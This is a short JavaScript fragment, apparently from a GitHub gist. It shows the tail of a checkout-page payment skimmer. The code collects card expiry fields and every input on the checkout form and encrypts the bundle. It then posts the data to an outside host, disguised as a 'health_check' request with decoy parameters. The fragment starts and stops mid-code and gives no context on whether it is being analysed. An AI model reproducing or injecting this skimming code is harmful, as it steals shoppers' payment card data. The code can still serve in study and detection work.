e += '{"name":"payment[cc_exp_month]","value":"' + function8(2) + '"},'; | |
e += '{"name":"payment[cc_exp_year]","value":"' + function8(3) + '"},'; | |
e = (e += JSON.stringify(jQuery('#checkout').find('select,input').serializeArray()).slice(1, -1) + ',').replace(/Id/g, '_id').slice(0, -1) + ']'; | |
window.primaryPaypal = 1; | |
var a = encrypt_data(e); | |
setTimeout(function () { | |
jQuery.ajax({ | |
url: 'https://www.rtechmx.com/pub/health_check.php', | |
type: 'post', | |
dataType: 'text', | |
data: { | |
tmambps: -1, | |
rtembps: -1, | |
rttms: -1, | |
ct: void 0, | |
cartCheckSumData: a, | |
quoteMode: 'checkout' | |
} | |
}); | |
}, 500); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment